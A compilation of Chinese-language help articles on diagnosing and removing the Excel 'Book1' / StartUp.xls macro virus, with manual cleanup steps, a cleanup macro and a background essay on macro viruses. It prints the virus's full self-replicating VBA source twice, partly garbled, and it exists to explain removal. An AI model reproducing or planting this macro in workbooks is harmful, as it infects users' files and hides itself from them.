BOOK1病毒处理方法
宏病毒原理及防范
宏病毒原理及防范一、常见宏病毒1．startup宏病毒宏病毒其实并不神秘，其工作原理是借用宏表4.0的auto_open事件启动病毒代码的复制和病毒文件的新建，新建的文件常放在xlsrt文件夹下。
然后利用xlstart文件夹文件可以自动启动的原理把病毒代码复制到新打开的excel文件中。
下面先看看startup宏病毒代码吧，注意红字部分。
Sub auto_open()On Error Resume NextIf ThisWorkbook.Path <> Application.StartupPath AndDir(Application.StartupPath & "\" & "StartUp.xls") = "" ThenApplication.ScreenUpdating = FalseThisWorkbook.Sheets("StartUp").CopyActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")n$ = ActiveWindow.Visible = FalseWorkbooks("StartUp.xls").SaveWorkbooks(n$).Close (False)End IfApplication.OnSheetActivate = "StartUp.xls!cop"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnKey "%{F8}", "StartUp.xls!escape"End SubSub cop()On Error Resume NextIf ActiveWorkbook.Sheets(1).Name <> "StartUp" ThenApplication.ScreenUpdating = Falsen$ = Workbooks("StartUp.xls").Sheets("StartUp").Copybefore:=Worksheets(1)Sheets(n$).SelectEnd IfEnd Sub2．book1病毒book1病毒最明显的标志是打开excel时自动跳出一个book1空文件。
清除宏病毒
清除宏病毒，名字是：StartUp.xls方法--大白菜文中图片都很小，看不清楚，可以用以下快捷方式：按住ctrl 向上滚动鼠标滑轮可以放大word，就可以看清楚图片了病毒样本如下：（下面是宏病毒代码，电脑知识欠缺的，千万被乱动哦，小心弄巧成拙）Vba代码=================宏病毒代码复制从下一行开始=================Sub auto_open()On Error Resume NextIf ThisWorkbook.Path <> Application.StartupPath AndDir(Application.StartupPath & "\" & "StartUp.xls") = "" ThenApplication.ScreenUpdating = FalseThisWorkbook.Sheets("StartUp").CopyActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")n$ = ActiveWindow.Visible = FalseWorkbooks("StartUp.xls").SaveWorkbooks(n$).Close (False)End IfApplication.OnSheetActivate = "StartUp.xls!cop"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnKey "%{F8}", "StartUp.xls!escape"End SubSub cop()On Error Resume NextIf ActiveWorkbook.Sheets(1).Name <> "StartUp" ThenApplication.ScreenUpdating = Falsen$ = Workbooks("StartUp.xls").Sheets("StartUp").Copybefore:=Worksheets(1)Sheets(n$).SelectEnd IfEnd SubSub back()On Error Resume NextApplication.OnKey "%{F8}", "StartUp.xls!escape"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnSheetActivate = "StartUp.xls!cop"Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop" Workbooks.Open Application.StartupPath & "\StartUp.xls"End SubSub escape()On Error Resume NextApplication.OnSheetActivate = "StartUp.xls!back"Application.OnKey "%{F11}"Application.OnKey "%{F8}"Application.SendKeys "%{F11}"Application.SendKeys "%{F8}"For Each book In WorkbooksApplication.DisplayAlerts = FalseIf book "StartUp.xls" Then book.Sheets("StartUp").DeleteNextFor Each book In WorkbooksIf = "StartUp.xls" Thenbook.CloseEnd IfNextEnd Sub=================宏病毒代码复制到上一行结束=================为了知道如何操作，亲自运行病毒源码之后，（按住ctrl 向上滚动鼠标滑轮可以放大word ，就可以看清楚图片了）采取以下的方法处理，可以清除病毒并使感染文件在修改保存后也清除病毒（网上有人说用360或卡巴直接杀会导致文件打不开）：说明：如果找不到那个路径，是因为C盘是系统盘，那些是系统文件，被隐藏了，可以参照：/xiaolincc26/blog/item/2c524d4be7757c2d08f7ef35.h tml去做步骤：一、删除Excel11.xls文件位置路径：C:\Documents and Settings\Administrator\ApplicationData\Microsoft\Excel\Excel11.xls，该文件删除后，Excel会自动重建的；二、删除StartUp.xls文件位置路径：C:\Documents and Settings\Administrator\ApplicationData\Microsoft\Excel\XLSTART\StartUp.xls二、新建一个空的StartUp.xls，工具-》宏-》录制宏（随便录，只是为了能打开VBA编辑器）；下面这个就叫VBA编辑器（普通人没有要知道，百度一下就有/view/88461.htm）：这张图不是步骤中的内容，只是了解下.第二步：1.新建一个Excel：2.重命名为StartUp.xls三、从“工具－>宏－>宏”里面，选择刚才录制的宏，选择“编辑”，把全部内容都选中，把用下列内容替换：第三步：1.打开刚刚新建的那个Excel： StartUp.xls2.打开录制宏，工具-》宏—>录制宏，点击上图的确定，3.打开宏，工具—》宏--》宏，4.点击编辑按钮，5.复制Vba代码（看清楚开始和结束位置）内容到编辑区，覆盖原有的内容，Vba代码============复制从下一行开始（Sub auto open()开始）=============Sub auto_open()On Error Resume NextApplication.ScreenUpdating = FalseActiveWindow.Visible = Falsen$ = Workbooks(n$).Close (False)Application.OnSheetActivate = "StartUp.xls!cop"End SubSub cop()On Error Resume NextDim VBC As ObjectDim Name As String'Dim delComponent As VBComponentName = "StartUp"For Each book In WorkbooksSet delComponent = book.VBAProject.VBComponents(Name)book.VBAProject.VBComponents.Remove delComponentNextEnd Sub============复制到上一行结束（End Sub结束）=============6.关闭时候，保存StartUp.xls四、保存，然后再打开染毒文档，修改保存一下就可以清除掉感染的病毒。
什么原因造成excel表格中,总出现一个类似插入的空图片
竭诚为您提供优质文档/双击可除什么原因造成excel表格中,总出现一个类似插入的空图片篇一：打开excel表格时会同时自己打开一个空的excel 表格打开excel表格时会同时自己打开一个空的excel表格办公室电脑excel宏中毒了，每次打开excel都会扑闪扑闪跟飞蛾子似的打开以前的一些内容，同时自己打开一个名为book1的空excel，重装office都拿他没辙，现在终于找到了一个解决办法，分享给大家，希望有所帮助：方法一：1、此类文件会在c:\programFiles\microsoftoffice\office12\xlstart\bo ok1.创建book1.文件（如果没有“xlstart”文件夹，新建一个“xlstart”文件夹，在文件夹内新建个“book1.xls“文件）；如果有则删除book1.文件，新建个“book1.xls“文件。
2、到c:\programFiles\microsoftoffice\office11\xlstart\删除：book1.文件.方法二：1.打开excle文件，这时book1会随之启动。
2.关闭book1。
3.在你的excel中，插入--名称--定义，将所有名称删除，特别是auto_open，auto_close必须删除。
4.格式--工作表--取消隐藏，将取消隐藏后出现的工作表删除（这就是病毒体）。
5.找到c:\programFiles\microsoftoffice\oFFice11\xlstaRt，删除book1文件（xlstaRt文件夹中的文件会随着exce的启动而自动启动）。
6.保存、关闭excel文件，再次打开已没有病毒。
如果再出现，有可能感染xf/sic.f病毒，用最新360杀毒查杀可杀除。
如果还是不能解决，有可能是这个病毒在弹出问用户是否启用宏之后，用户选择了启用，那就麻烦一些，需要卸载掉office再重装（这个办法比较简单）然后别再打开excel文件，直接用360杀毒，全盘扫描就可以了。
电子表格打开会提示禁用或启用宏,或者会跟着打开一个新的BOOK1文档的解决方法
电子表格打开会提示禁用或启用宏，或者会跟着打开一个新的BOOK1文档的解决方法
那么手动清除Excel宏病毒的具体方法：
1、进入C:\Program Files\Microsoft Office\OFFICE11\xlstart\下先删除book1文件，（注意：这个C是指你的系统盘，比如我的是双系统，那么打开C盘就是删了也是无用的，看你使用的是哪个系统。
）然后再建立Book1文件；
2、打开EXCEL文档（提示启用宏的文档），格式-->工作表-->取消隐藏工作表，删除xl4poppy工作表（也可能是其他的工作表名：如0000ppy工作表），然后，点击菜单：插入-->名称-->定义，删除所有的名称。
保存；
3、处理完再删除刚才建立的文件夹。
这样就可以清松消灭掉Excel宏病毒，再打开你的excel文件，就安全了。
此种方法保证快捷有效！（本人表格文件按此方法可清除）。
恢复出厂设置的方法
恢复出厂设置的方法恢复出厂设置是指将设备恢复到原始出厂状态的操作，这样可以清除设备中的个人数据、设置和应用程序，并使其恢复到刚购买时的状态。
在某些情况下，恢复出厂设置可以解决设备出现的一些问题，例如系统崩溃、软件冲突或病毒感染等。
下面将介绍几种常见设备的恢复出厂设置方法。
一、恢复出厂设置方法之手机对于大部分手机厂商而言，恢复出厂设置的方法大同小异。
下面以安卓手机为例进行说明。
1. 打开手机的“设置”应用，滑动屏幕并找到“系统”或“高级设置”选项。
2. 在“系统”或“高级设置”中，找到“重置”或“恢复出厂设置”选项。
3. 在“重置”或“恢复出厂设置”选项中，会有一个警告提示，强调该操作将清除所有数据，请在操作前备份重要数据。
4. 确认操作后，手机将会开始恢复出厂设置的过程。
过程中手机将会自动重启，并清除所有数据和设置。
5. 恢复出厂设置完成后，手机将会重启并进入初始设置界面，用户需要重新进行一些初始设置，如选择语言、连接Wi-Fi等。
值得注意的是，不同的手机型号和系统版本，恢复出厂设置的操作路径可能会有所不同，请根据自己的手机型号和系统版本进行操作。
二、恢复出厂设置方法之电脑对于Windows电脑而言，恢复出厂设置的方法也有一些不同。
1. 在Windows系统中，点击“开始”菜单，选择“设置”。
2. 在“设置”中，选择“更新和安全”。
3. 在“更新和安全”中，选择“恢复”选项。
4. 在“恢复”选项中，可以看到“恢复此电脑”或“重置此电脑”选项。
5. 点击“开始”按钮，系统将会开始进行恢复出厂设置的操作。
在此过程中，系统将会清除所有数据和设置。
6. 恢复出厂设置完成后，电脑将会重启，并进入初始设置界面，用户需要重新进行一些初始设置，如选择语言、连接网络等。
对于苹果电脑（MacBook）而言，恢复出厂设置的方法如下：1. 点击苹果菜单，选择“重启”。
2. 在电脑重新启动时，按住“Command”和“R”键不放，直到出现苹果标志或进入恢复模式。
打开任何一个excel文件都会自动多打开一个Book1窗口
打开任何一个excel文件都会自动多打开一个Book1窗口
一、原因所在
您在使用工作并的时候，大概使用了窗口菜单中的新建命令来新建你的excel文件后保存，因此，就会出现这种情况。
也许是中毒了，office可能中毒了。
二、解决的办法
①解决办法
找到office的安装目录，如C:Program FilesMicrosoft OfficeOFFICE11，里面有个文件夹，名称是：XLSTART
把这个文件夹和里面的所有内容全部删除，这样就可以避免上述的问题的产生了。
万一按照上述的方法解决之后，打开excel文件提示安装什么之类的，请您使用第②种方法来解决。
②解决办法
建议查杀病毒，然后，还在出问题，那么，请重新安装一下OFFICE就行了。
③解决办法
还有一种可能，就是你的电子表格中了宏病毒了，你到网上下载一个“宏病毒专杀”软件安装并查杀，就可以解决问题了，注意，得把360杀毒这些软件关闭掉。
宏病毒深入分析
宏病毒的深入分析OFFICE给用户提供了用于创建专业而优雅的文档,表格等工具，帮助用户节省时间，并得到优雅美观的结果，在当前使用中是占有巨大优势的文字，数据处理器。
它为我们的办公提供了极大的便利.OFFICE为了方便客户，提供了宏这样一个功能。
宏就是能组织到一起作为一独立的命令使用的一系列命令，它能使日常工作变得更容易，一般说来，宏是一种规则或模式，或称语法替换，用于说明某一特定输入（通常是字符串）如何根据预定义的规则转换成对应的输出（通常也是字符串)。
这种替换在预编译时进行，称作宏展开。
通俗的来说，客户事先设置好宏，需要时就可以批量使用，而不必重复操作。
然而宏也是一把双刃剑，它在让客户享受便利的同时，同时也为黑客留下了漏洞，这就是今天要分析的宏病毒。
宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。
从此以后，所有自动保存的文档都会“感染”上这种宏病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到他的计算机上。
word宏病毒通过．DOC文档及．DOT模板进行自我复制及传播，而计算机文档是交流最广的文件类型。
多年来，人们大多重视保护自己计算机的引导部分和可执行文件不被病毒感染，而对外来的文档文件基本是直接浏览使用，这给Word 宏病毒传播带来很多便利。
特别是Intemet网络的普及．Email的大量应用更为Word 宏病毒传播铺平道路。
根据国外保守的统计，宏病毒的感染率高达40％以上，即在现实生活中每发现100个病毒，其中就40多个宏病毒，而目前国际上普通病毒种类已达12000多种。
宏病毒的产生，是利用了一些数据处理系统内置宏命令编程语言的特性而形成的。
这些数据处理系统内置宏编程语言的存在使得宏病毒有机可乘，病毒可以把特定的宏命令代码附加在指定文件上，通过文件的打开或关闭来获取控制权，实现宏命令在不同文件之间的共享和传递，从而在未经使用者许可的情况下获取控制权，达到传染目的。
删除EXCEL宏病毒的方法
在实际工作时，很多同事发现打开Excel启动宏文件后，伴随自动生成BOOK1
文件和提示“无法找到startup.xls”信息框，这是中了一种叫做ExcelMacro 的宏病毒。
若中毒，每次打开Excel表格文件，就会自从生产一个BOOK1文件，造成机器速度慢，系统崩溃。
该病毒可通过邮件等多途径传播，以下三种解决办法请大家参考：
1、用360急救箱或NOD32杀毒软件升级病毒库后进行查杀，有可能感染
xf/sic.f病毒，做全盘杀毒。
2、删除C:\Documents and Settings\Administrator\Application
Data\Microsoft\Excel\XLSTART下的所有文件，并在该目录下重新建立startup.xls文件，设置该文件属性为只读即可。
3、使用360顽固病毒专杀工具。
一定要全盘扫描病毒。
经验证，第二种方法较为有效，也可以三种方法一起使用。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
BOOK1病毒处理方法
症状：每次打开表格时就会自动弹出一个Book1文档。
传播途径：发送邮件时，接收了带病毒的EXCEL 文档。
处理方式：首先用360杀毒软件或瑞星杀毒软件查杀，然后进入C:\Program Files\Microsoft Office\OFFICE11\xlstart\下删除book1文件。
360杀毒软件：上外网的可以直接在360官方网站进行下载。
瑞星杀毒软件进行查杀的步骤
1、下载地址：192.168.10.5/rav
2、双基解压缩进行安装
3、在提示输入中心地址时输入：输入192.168.10.5
4、按界面提示下一步，直至安装结束。
重新启动机器，查看病毒库是否是升级到最新版本。
5、在使用该软件时：。